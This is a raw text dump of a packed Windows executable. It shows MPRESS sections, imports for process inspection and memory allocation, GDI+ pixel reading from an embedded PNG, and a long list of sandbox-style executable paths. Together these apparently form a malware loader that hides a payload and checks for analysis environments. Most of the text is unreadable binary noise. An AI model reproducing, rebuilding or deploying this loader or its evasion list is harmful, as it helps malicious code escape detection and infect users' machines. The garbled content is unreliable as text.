L!Win32 .EXE.
.MPRESS1
.MPRESS2
.imports
PB"BBBBBBBBUBBBBBBBJBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBXBBB
BcfUbfOo,FL
BBBBBBB]^
E474E4
e4E48M4E48M4E4
E4BBBBBBBBBBBBBBBBBBBBBBBBHBBbB'
BBBBBBBB^B
BBBBBBF@BBB@BBBFBBBBJBB@BBB
BBBbBBBBBBbBBBBBBNBBBBB,ZBB
BJBB@BB@BBBB@BB@BBBBBB@BBBBBBBBBBBfBBBBBBJBBbBBBBBBBBBBBBBBBBBBBHBBNBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBFBBBBBBBBBBBBBBBBBBBBBBBBBBBBBMBBBS"BBB@BBBBBBBBBBBBBBBBBBBBFBBN
nnBBBBBFBBBBBBCBBBBBBBBBBBBBBJBBJnnBBBBBBBDBBBBBBBBBBBBBBBBBBBBBBJBBZ
.BBBbBBBJBBB
BBBBBBBBBBBBBBBBBJBBJ
.BBBBBBHBBB
BBB@BBBBBBBBBBBBBBJBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB$Ze
C3S@J%
B3rCBB($FFJB2]C
bFJBBFBBGFJB3FJB
DFJBOB@BBBFJBOFJBOPFJB
KFJB2@ORBBB
bOBBBR
FJBs]2]C$ZJ){:HFJB3EFJBs_3_jH
h_H]FJB
AFJBZ0BBB
H3\":H_ORBBB
FJBs2]
FJB]3@FJB
OB@BBBFJB
OFJBJFJB
]"zK/{GbXBBB3M"M@"\@FJBs]?
]r]FBB#FJBZ
OWFJBFJBs_%t3OFJB
"O5bBBOXFJBH?
"O5bBBOXFJB_s]%3FJB[FJBFJBsX?bOBDRR[HOAfJB]s%
IFJBrBbBBH
YH^HOBBFsYs^NFJB^
%^b\?YORBBB
OBBBJEfJBFJB3YH
\(FJB(@FJB
HOBBBCFJB
HOIfJBHKFJB2@
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
&BBI&BB
&BB&BB&BB
&BB&BB
&BBA&BB&BB
&BB&BBBBBB\&BBBBBBY&BBBBBB
BBBBBBOBOB.B
BBnBBBBBMBBBBB,BB,BBBBBBLBBBBBBBBLBBnBBB,BFBBBBBBBnBBB
BBBBB/BoBBBBBB,BB.BBBBBBBBBMBBB
BBBBBnBLBLBBoB.BnBBoBBBB
BBBBOBBBBBBBBLBeBBBMBBBBOBOBBB
BBBBBMBBBBB,BBB,BBBA
BBBBBBBBBB
BBHFBB[fBBBBBBBBBB
&BBBFBB@
BBBBBBBBBB&BBKFBBC
BBBBBBBBBBBBBJFBBBBBBBBBBBBBBBBBBBBBB
&BBI&BB
&BB&BB&BB
&BB&BB
&BBA&BB&BB
&BB&BBBBBB\&BBBBBBY&BBBBBB
BBBBBB
BBIBKLL
mLoBBBk
LoBBBKL(
mkBBBk
KnBBabMoH
LHnOBBB*
,KnBBoBb*
BB$",L
b(OM.B(K$
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBbBABBBABBRBBBBBBBBBBBBBbBbBBBDBBRBBBBBBBBBBBBBbBcBBKBBBIJBB
bBBBBBBBBn,,
,.On,o.
,.On,o.
FFFF,.
FFFFFF
FFFFFFFF
l,M.oF
Foj..,,
FFFFFF
mHjHjkIIHjkHjkIIHjkHjkIIHjkHjkIIHjkHjkIIHjB@BBNBBBdDDD
DDDQDDDDd
dddd0dVdddd
$d$$$$/$
$BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
NtQueryInformationProcess
3+t8Ht
@Nu^[]
@f;4Bt33_
^UQSVWE
_^[]UQSVWE
_^[]U Vh
tKSWh"0
_[^]UE
:++;sV$
r_^3[]
WQRP_^]
WM33toS$
;r^_3[]
Oy^[_]
@;r[_^U,SVMWM\h0#0
F<|0x\0xMQ
WSVMEVirtEualAEllocE
URWSVMEEVirtEualFEree
j@E@8h
(MuMEt%X
^(MuURVMy}WVM
VU_^[]U
SVW|PVu
3u9uva39]vKMEPQMS?
;]rE@E;Er]
_^[]U060
WMQUR`
URWWWEP
_^]UVu
PE^]UQVN
P}E^]UE
VWs_^_3^UU
MRQp^]3^]%
Hgdiplus.dll
GdipCloneImage
GdiplusStartup
GdiplusShutdown
GdipBitmapGetPixel
GdipCreateBitmapFromStreamICM
GdipCreateBitmapFromStream
GdipGetImageHeight
GdipGetImageWidth
GdipDisposeImage
GdipFree
GdipAlloc
DKERNEL32.dll
HeapFree
FindResourceA
LoadResource
SizeofResource
LockResource
GetProcessHeap
HeapAlloc
CreateFileW
WriteFile
CloseHandle
lstrcatW
OutputDebugStringW
FreeLibrary
GetCurrentProcess
GetProcAddress
LoadLibraryW
LoadLibraryA
USER32.dll
UpdateWindow
ShowWindow
CreateWindowExW
RegisterClassExW
LoadCursorW
LoadIconW
DefWindowProcW
InvalidateRect
PostQuitMessage
SendMessageW
GetMessageW
wvsprintfW
EndPaint
FillRect
GetClientRect
BeginPaint
DispatchMessageW
8Muex<
KERNEL32
VirtualProtect
G(XPTPjxWXt=
a;#%+%
IDATXG
m`s8Ji
5?ZUU?iGUm,ABu(@U
h,QE~+Z4
DXr8OjdrW
N&qAoj
.z=SvIcOou[
Ne=rF=z /!-
gl:m0k1IL3E(
<m"SR6"m%=XF
]=D$O}y&2u}w<|#qw$7
&7"y7]/wVx9
=9(v*(}
xo5&%=
Yj7:H2l>F
u4?,tQaK
mT:"%<
=[HqHp
(38.yT
wJ aGm>rgv4
/Nw2&}
I fWyk
j9=8CY
dV<G!e
|{JioH`)
i`${WY"*
DyBxqW)VBs(
||(6E8.?
v^b5\X_
37LL{z#RtE7KD}yZ2C0"~FwnN+pO
qKpVnQ
)Z*BDf8
.bsusqE$r[b@
]|E9ar
qi5f@N7
a"I"-+
XiGsS&eR
Z SOjFRu
]Ff2m6;&
bx']p*
IENDB`PAD
PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADP`
GetModuleHandleA
GetProcAddress
KERNEL32.DLL
gdiplus.dll
GdipFree
USER32.dll
EndPaint
t7Kt'Kt
\\\\\\mmm\
\\\\\\onmnmmmmm\
\\\\\ooooooonnmmmmmm\
\\\\\\qqqppqoqoooonnmmmmmm\
\\\\\\sqqqqqpqmqopoooooonnmmmmmm\
CCCCCCCCC\\\sssssssqsssqoqqqqoqoqnoonnmmmmmm\
Cssssssssssssssssssqqqssqoqmqooqnooonnmmmmmm\
!"+578Xsssssssssssqqspqqqoqoooooonnmmmmmm\
"#-78Ksssssssssqqssqppqpqpoqn_VF?
Wmmmm\
!++57DsssssssssqsqsqsfZPF>)
Pnmmmm\
!"+578ssssssssdaMH<0
Qmmmmm\
!!++57issssR00))'
1?HTfmmmmm\
!"#-6XssssR0)*'$
'0>FPZdooooommmmmmmm\
!#+-NssssT0>BHMU_iqqpqqpooqnoooZQ_nmmmm\
!!"+AsssssqssqqqqsqpqpmZQFB$
mmmmm\
!"-ssssssssseaRLB4$
mmmmm\
!pssssFE0)'
1mmmmm\
assssF0)*$
))BFQVdnnnmmmmmm\
LssssM0)4?BMLXZhppoqoooqnoonmmmmmm\
AsssqmpqsqqqqqqppqppoqTV??$
_nmmm\
0qssssssssqsqsqpqpppoq
Pnmmm\
pssssdXsqsq>
Lqppppoq
Vnmmm\
(%$mqsss00Tsqs>
dpppqnoUVVooonnmmmm\
%%'_ssssB00oqsL
'mpppqqooooonnnnmmm\
Cs &%%&((QssssE0*>qqM
FqppnohVP??
Hnmmm\
Cs% %%&&((,(FssssE0*)PsL
ZpqpoB
Cs%%&&%,,,..:ssssE0*0'eM
1mmmm\
Cs,,,,,,....1ssssR0)N$4H
4poomVUVoomnmmmmm\
Cs1,1,1111111hsssT00aL''
Vqoqnoooonnmmmmm\
Cs33133133434_qssT0)am0
fooWUF?>
mmmmm\
CsF<:99<94:93VsssT/*RsZ
_mmmm\
FqL<:::::::::HqssZ0.HdqB
Ummmm\
Li_>=========Bsss400'0so$
4qh,.?FmQUVZommommmm\
LXsBBBBBBBBBBBqssaRRPZoqmqqqpqqpoooqnoomnnmmmm\
FqVFFFFFFFFFFmqssssspsqqsqpqpppqpooqnonnnmmmm\
Q`pHFFFFGFGCG_sssssssqsqssqpqppoqoooooonnmnmm\
FqbFHIIIIHIHZqsssssssqsqqspqpqpoqoqnoonnnmmm
TqZLILLLLLLVssssssssqsqsqpqppqooqonnX
LdqVOOMMOMOOqsssssssimhi__Z_MMMMMMMqF
Hiq^QQQQQOQZZZZQQRPQRPPQPQQQQQMQQQsF
FesfTTTTTQVQQTTTTTTTTTTTTTTTTVQTTsH
HXqqcQVVXVXUUUUUUUUUUUUUUUUUVVXUqC
XHcqsnc^ZZZZZZZZZZZZZZZZZZZZZZZqF
THapqsqqqqqqqqqqqqqqqqqqqqqqssF
LLCFFFFFFFFFFFFFFFFFFFFFFFFFF
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
gdiplus.dll
GdipCloneImage
GdiplusStartup
GdiplusShutdown
GdipBitmapGetPixel
GdipCreateBitmapFromStreamICM
GdipCreateBitmapFromStream
GdipGetImageHeight
GdipGetImageWidth
GdipDisposeImage
GdipFree
GdipAlloc
KERNEL32.dll
HeapFree
FindResourceA
LoadResource
SizeofResource
LockResource
GetProcessHeap
HeapAlloc
CreateFileW
WriteFile
CloseHandle
lstrcatW
OutputDebugStringW
FreeLibrary
GetCurrentProcess
GetProcAddress
LoadLibraryW
LoadLibraryA
USER32.dll
UpdateWindow
ShowWindow
CreateWindowExW
RegisterClassExW
LoadCursorW
LoadIconW
DefWindowProcW
InvalidateRect
PostQuitMessage
SendMessageW
GetMessageW
wvsprintfW
EndPaint
FillRect
GetClientRect
BeginPaint
DispatchMessageW
n t d l l . d l l
K E R N E L 3 2 . d l l
s 9 e r d . e x e
C : \ N _ D w v f I m . e x e
C : \ 3 z q C 1 v y 7 . e x e
C : \ U I b L e v F E . e x e
Z _ c f i n k p
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ E J r Y A G M S . e x e
C : \ d 1 n _ q 6 P 8 . e x e
C : \ f d e 3 c a e d 0 9 9 c 2 5 a c b f c 3 6 2 9 5 e 1 7 0 a d 2 7 b 7 b 2 c 7 8 2 1 3 f e e c 6 5 b b e c 0 b e b 7 c 5 8 f 3 e a
C : \ 7 b 0 a d 8 e c c a 5 5 4 8 0 4 8 b d 7 a 0 b f f 1 8 8 6 c 8 6 2 c 2 4 0 3 3 0 4 e 0 d c b e 5 6 2 3 0 c 5 c d d 7 a c 8 c 6 f
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ I u g 2 G Q c v . e x e
C : \ 9 c f b 9 6 f e 2 7 c 0 5 5 9 5 2 c 4 6 2 8 6 4 8 7 c f f f 8 5 4 b b 4 4 9 1 3 f 3 5 4 3 6 6 9 f 3 9 0 5 c 6 1 7 8 c 3 f 9 7 b
C : \ U s e r s \ L i s a \ D e s k t o p \ q 4 x H 4 K y b . e x e
C : \ X m j r n _ _ J . e x e
C : \ D o c u m e n t s a n d S e t t i n g s \ l u s e r \ D e s k t o p \ T L G Y Z H 3 8 . e x e
C : \ 1 4 9 8 4 1 5 1 b b a 9 3 d 4 b b 5 c 7 0 6 4 f 7 d c c 3 e 3 2 c d 5 5 a 5 a 2 8 c 9 3 7 0 b 9 2 f f c c a c 3 3 0 e 6 4 4 a e
C : \ U s e r s \ L i s a \ D e s k t o p \ x m v e 8 8 K E . e x e
C : \ w Q m 7 Y V g u . e x e
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ M B B N x L J m . e x e
C : \ P 7 b A e a u N . e x e
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ l q Y l o U S A . e x e
C : \ 0 a 9 c 4 4 c a 1 a a 5 8 f f 6 5 b c 0 1 7 a b c 9 0 9 b b 8 9 b a a 2 c 6 1 5 5 2 6 5 b 5 5 7 f d 7 4 1 3 7 1 0 2 5 b f b 7 1
C : \ 3 0 c f 5 9 9 2 2 1 0 6 6 5 2 e 2 6 b 5 a b 3 7 3 1 e d 2 6 b a e 7 e 0 1 0 a b 2 3 8 4 a f 3 2 5 8 3 c 2 5 4 2 8 c c e c 1 a 1
C : \ c 6 6 f 0 4 b 8 0 4 1 e 6 5 3 5 3 f 5 9 d 2 f 0 f d a c a 3 7 5 e f b e 9 e b 0 4 1 6 3 7 b 8 a d e 8 c 0 e e 7 c 4 6 5 a 2 3 8
C : \ U s e r s \ L i s a \ D e s k t o p \ f c B a i 8 L f . e x e
C : \ 6 c 7 1 0 2 b 2 f 2 1 e 4 7 e 4 4 c 4 3 f 0 d a 5 8 d 0 c c c 1 f c 2 9 4 3 d 0 6 8 1 6 2 0 a f 5 d 2 4 9 9 7 6 4 e 6 0 8 d 4 1
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ G q R g a l H M . e x e
C : \ U 4 M m C 3 X q . e x e
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ r s S e 1 f h p . e x e
C : \ b 5 d e 8 4 b 5 d d 1 5 1 f 2 6 3 b 7 1 f 5 c f 4 a a 9 f c 1 6 4 2 b 8 c 5 6 6 c 8 5 e d c f c 8 1 7 d 7 c 6 7 c 6 1 a 3 a 2 1
C : \ 2 d 3 8 1 7 6 7 f 2 c 3 1 4 8 0 3 b 9 b 0 2 1 d e 0 5 f b 4 f 2 7 5 7 d 0 2 c f d 1 f 3 4 9 3 2 a 5 8 4 a d 5 3 0 5 1 2 1 e d 3
C : \ 2 4 1 9 5 b b 0 f e 3 b 8 c 1 b 1 2 e e a e 8 6 a b a 7 5 4 6 6 d 0 e e 3 3 7 2 0 2 2 6 a 7 e c 8 5 1 8 f a 4 9 4 e f 3 8 d b 2
C : \ U s e r s \ L i s a \ D e s k t o p \ q l A Y b e Y 7 . e x e
C : \ 1 4 0 9 c b 1 f b 9 f c e a c 0 6 a d 9 5 5 6 8 4 3 9 e 3 7 e 9 d e c 1 7 7 c 5 b 9 a f c d 5 2 1 9 1 5 8 8 8 e 8 5 2 b 1 f 5 7
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ 1 d 3 R x B 6 L . e x e
C : \ b e e 7 7 d a f 8 3 9 a 9 1 c 9 f 4 f 8 5 d 9 4 7 f d 4 1 e 2 2 0 b 9 8 b 6 c 0 7 f b 5 5 3 1 8 f 2 9 5 c a 9 4 e 6 6 2 9 e a b
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ g N s O l 5 8 t . e x e
C : \ 0 8 5 2 7 d 7 e 8 3 d 1 7 3 f e 3 1 1 5 4 7 c 9 b d 2 0 5 8 5 c 5 5 a d a a 0 f f 8 e 8 a 6 7 a b 0 e e b 4 b 0 7 8 7 a f 2 c 6
C : \ 1 4 9 1 1 1 4 0 2 1 6 d e 6 8 7 3 b 5 5 4 5 d d 8 0 b a c 7 9 a 4 a 4 6 0 a b 8 a 3 f 4 e 8 a 2 a 8 8 7 3 2 0 0 4 3 2 3 4 3 0 e
C : \ 6 4 4 6 f 6 3 2 4 c 5 a 8 2 b 9 c d 4 5 e 6 6 6 0 1 2 5 d 9 5 3 9 c 0 7 5 2 2 b 3 d 6 9 8 9 3 c c d 5 7 7 0 0 2 2 9 0 e b 2 b 3
C : \ b 5 1 9 2 6 3 2 6 7 8 d a 8 1 6 5 c 9 a b 6 f 1 9 e 5 e 5 2 3 4 e 5 9 f f 8 4 b a e 4 7 8 0 3 3 6 c 9 f 7 a 4 a b 2 d c 6 0 e 0
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ a A Q m e H p V . e x e
C : \ L 3 o s Z g b h . e x e
C : \ U s e r s \ L i s a \ D e s k t o p \ E l c A 4 d G R . e x e
C : \ 5 a 9 1 0 0 8 d 5 c d 2 4 5 7 7 3 1 9 6 6 b 1 e 5 9 5 d 4 c e 2 d 3 4 b c 3 6 5 0 2 1 4 a c b 0 e 7 5 8 8 7 9 6 1 4 a 4 9 8 c 7
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ E T I D u 0 0 R . e x e
C : \ 6 d 1 e d c 6 6 2 e 7 6 c 0 c 4 2 2 c 3 9 d f 8 8 d 0 6 f f 9 6 e e 5 5 a 3 9 8 0 b 9 a 3 c 3 b 2 a 5 a 4 e 1 c 2 8 3 5 9 b 0 3
C : \ U s e r s \ L i s a \ D e s k t o p \ v S g m 0 q n y . e x e
C : \ K H e a E l v 3 . e x e
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ v q W N 9 s o J . e x e
C : \ h M _ K O n 7 V . e x e
C : \ 9 1 b c 9 a f 9 8 9 a 0 5 2 7 9 f 6 3 d 6 7 a 4 e a a f b 2 5 4 3 a 8 9 7 3 e 1 d 2 d b c e f f 6 b 0 f 0 e 3 6 e 3 7 9 9 1 6 0
C : \ U s e r s \ L i s a \ D e s k t o p \ M X 0 E 2 g j L . e x e
C : \ 0 s 8 y K 1 e t . e x e
C : \ 3 3 1 1 8 2 e f 6 a 8 1 7 a 4 1 3 d 3 3 6 9 c 5 f 2 b 7 f 9 3 4 9 7 8 8 6 0 d 5 e 5 b 2 7 3 a a f b a 1 0 2 6 2 8 0 7 3 8 e 5 5
C : \ 6 b f 8 3 8 5 f 2 3 c a d 6 e f f 6 c b 9 8 b 5 5 0 5 4 4 c d b 8 1 d 9 d e 6 9 1 c c d 7 d 9 6 5 7 b 7 0 4 4 5 f b 5 8 7 2 e 1
C : \ 0 8 5 a 9 3 2 7 0 c 0 5 6 5 7 a 1 7 f 3 c 0 8 9 a 9 2 1 d 1 1 a e f 7 7 4 a b 7 9 e 9 7 b 0 2 b 6 9 7 8 5 f 1 e 1 4 4 4 b 3 b 3
C : \ U s e r s \ L i s a \ D e s k t o p \ S 6 G O l 6 b y . e x e
C : \ 3 b e 9 a c d 7 3 c 1 0 0 2 d 0 b 0 0 6 c 2 4 3 5 f 2 b 2 3 c e 9 8 6 9 e 6 1 c 5 4 b 2 b c 8 b 0 1 2 7 b 6 6 c 4 f 5 7 e 7 7 1
C : \ D o c u m e n t s a n d S e t t i n g s \ l u s e r \ D e s k t o p \ x I v M 8 A a O . e x e
C : \ 9 f 7 2 3 f 1 4 b b d d c 9 0 6 c 2 e 8 5 b 6 6 1 f e c 9 6 f 9 9 c b 1 6 b 8 2 4 0 f 2 c 3 a c e b f 6 d 2 0 9 b 2 0 8 1 c 6 7
C : \ J k X v H v M R . e x e
C : \ U s e r s \ L i s a \ D e s k t o p \ B b i c s Z l b . e x e
C : \ 6 e 6 a 9 c 6 7 0 6 a 2 f 9 1 8 6 c 3 0 f 7 1 1 9 c 5 6 b 1 d 8 a f c 6 5 c 7 7 9 1 1 0 5 2 7 e 7 b 4 b 1 f 3 9 8 9 2 2 7 0 6 4
C : \ 0 1 6 d d 8 c 4 4 c 9 8 3 f c 2 4 7 9 a 0 1 e a d 8 9 a 2 8 f 1 d 3 e 8 0 2 e 9 b c 6 d e 3 5 2 d 4 1 3 9 a 3 a 8 3 7 0 0 9 f f
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ A 0 V p 1 d 3 q . e x e
C : \ a i r 7 l V Z l . e x e
C : \ a 6 6 9 a b 0 b 5 5 2 4 f 9 9 a b 5 b 3 c 1 3 5 0 7 2 3 f 8 3 0 f 9 7 4 9 8 9 7 c c 2 0 0 6 8 b 2 7 d d 4 2 c f f 7 a 3 4 5 b a
C : \ D o c u m e n t s a n d S e t t i n g s \ l u s e r \ D e s k t o p \ B W T 3 S y o 8 . e x e
C : \ _ 1 S O s s o n . e x e
C : \ 7 1 2 8 5 5 f 8 4 f a 8 0 5 7 4 c c b 1 0 3 f 9 3 8 2 0 3 b 7 5 1 e 4 c 5 c 3 5 a d b 4 b 1 4 6 0 a c a 6 f 8 a e a c b e 7 0 7
C : \ L t u g 0 V i c . e x e
C : \ 3 6 2 e 3 f 8 9 b 4 0 7 f 0 4 f 6 4 1 d 6 8 2 e c 7 b 3 5 b 6 9 7 5 4 1 6 b 1 e 2 d a 9 1 d b 7 c 0 f 1 a 2 a 3 d 5 1 8 f 6 6 1
C : \ 9 8 a f 7 8 c 6 9 e 1 7 2 b 2 f 4 9 b 3 c c e 8 d e f 5 5 2 e d f 6 b 0 6 4 7 9 e c 7 f e b 5 7 f b 9 4 1 a 8 0 e d f 5 d 5 a 4
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ F K L 6 R X 3 y . e x e
C : \ 4 e 9 c e a 0 4 8 3 4 6 9 3 2 e 4 8 d a 5 2 7 2 f 0 f f 5 3 f b d 2 d 0 1 6 5 2 a 3 c c 0 4 5 7 d a 1 d c 8 f c 7 4 b 3 4 9 9 d
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ y l J Q u I 1 Q . e x e
C : \ t O S a H E G p . e x e
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ z d o f f 2 4 o . e x e
C : \ f n f 5 j a Q 4 . e x e
C : \ 9 8 d 4 4 0 d 8 0 b b 0 b 9 3 4 6 4 6 2 a a f b 5 d 2 8 4 6 5 8 4 9 a f e 4 9 5 2 8 e d 3 b 7 d 6 1 5 e 4 5 7 1 f 4 d c 4 4 a 7
C : \ U s e r s \ V i r t u a l \ A p p D a t a \ L o c a l \ T e m p \ c 1 0 9 9 5 0 1 0 3 2 4 0 c 8 2 e 0 4 2 a 9 0 1 3 6 c e 0 3 b 4 8 a 8 5 2 2 0 5 f 7 3 b b 8 9 a 1 9 4 b 1 8 6 8 0 6 7 d b 8 3 8 . e x e
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ 6 e 1 e 0 7 9 9 7 9 e 7 c f 5 c b 1 c 8 8 8 0 7 b d 1 5 0 b 9 a 5 3 3 e 0 4 6 b b 4 c b 0 4 c f 8 7 b d 8 5 b f a 5 b c d a b d
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ 6 7 5 7 c 6 d 1 a 6 c 4 9 7 4 a f 0 c 5 8 1 f 2 3 6 b 6 6 5 e 6 1 5 f 6 d 3 d 2 8 c f 3 b 4 a 9 5 4 4 8 b c b 3 1 1 9 f 8 2 0 4
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ j z t W b Z S k . e x e
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ 8 1 6 b 3 c d d 8 8 a 7 8 f 5 6 9 b 2 9 4 2 a f a 5 f 0 0 3 a 0 5 2 0 1 a f f 4 f c 1 9 3 f 8 e d 5 8 0 7 a c 9 4 4 6 9 c 7 1 e . e x e
C : \ c 0 e c 1 2 8 6 0 6 4 1 a 4 2 4 5 b 1 d 2 c 1 6 0 b 6 d d 9 1 8 8 a 4 5 3 1 5 7 3 2 c a 4 d 8 b 2 f b e b 8 1 e 0 3 b f 9 e 1 5
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ 3 4 2 7 a 6 a b 7 9 6 e 2 b b 7 e 9 0 d 4 5 6 7 a 3 6 8 7 9 b 5 a 7 c 8 e e 9 4 5 3 d 6 8 3 9 b d 6 d d 9 3 7 b 2 4 8 d 9 0 b 9
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ 9 3 e f 8 8 e 6 2 2 f 9 5 b 0 b 8 f c 4 7 7 d 6 4 a 7 3 b 9 c 9 3 3 b 1 f 0 3 7 8 0 a d c 2 3 8 c c e 0 2 0 9 3 9 3 6 f 2 b 8 6
C : \ e c b b d d 6 2 3 9 1 b 1 b e 1 f a c d 4 c b c b 0 c 4 f 5 1 1 0 4 7 a 5 b d 4 8 e a 2 b 0 2 b d 9 9 6 a b f 4 f 4 3 3 1 5 8 4
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ A K e D a q n A . e x e
C : \ 2 8 9 d 9 8 b d 7 2 3 b 0 8 0 e c a a e b 8 9 d f c 8 d 4 a 8 0 3 d 6 3 f e 2 5 1 9 0 4 0 1 4 7 3 7 d 7 f 0 c 2 d 6 2 b 7 9 0 b
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ a 1 b a d a 7 8 e e 7 9 2 4 b 1 9 1 b 8 1 c 4 f 8 1 3 0 d e 2 8 9 b c 5 2 0 4 c d 7 6 4 b 8 3 2 8 8 4 1 a 8 a 1 2 2 7 f e 7 e 2
C : \ D o c u m e n t s a n d S e t t i n g s \ l u s e r \ D e s k t o p \ y B t 2 7 M X f . e x e
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ 6 d 8 b f e 9 d 6 3 1 a a 5 8 b 1 9 7 3 8 a b 8 2 3 b e b f b 2 1 b a 5 9 c e a f b e 6 a 8 9 1 3 4 a 5 6 8 6 c c 2 0 b 6 9 d 2 . e x e
C : \ b f f 4 5 6 e 9 7 6 4 7 f e 7 a 6 0 7 b b a 9 b 6 6 9 5 d c d c d 3 b b a 2 4 a 1 4 b e 3 e 5 3 e b f c b 6 0 d 4 b f 7 a 6 c 5
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ b 1 a e 2 6 0 9 a 8 f 3 a a 8 2 2 e d 8 9 f 3 e 6 5 1 0 6 c 7 f 1 4 4 2 7 b 7 5 5 e a 5 d 2 3 1 4 b f f 4 7 7 4 5 8 a e 7 5 e c
C : \ U s e r s \ a d m i n \ D o w n l o a d s \ h h c b r n a f f . e x e
C : \ D o c u m e n t s a n d S e t t i n g s \ A d m i n i s t r a t o r \ D e s k t o p \ g Y p Z P 5 u R . e x e
C : \ 1 2 a 9 5 f 1 e d f 5 7 9 4 3 a 5 2 9 a b a 1 b 4 e e 3 6 6 1 8 7 a e 6 c 8 a c a 0 8 b 1 2 7 c 2 f 7 d 6 3 9 0 8 9 1 7 e 6 9 7
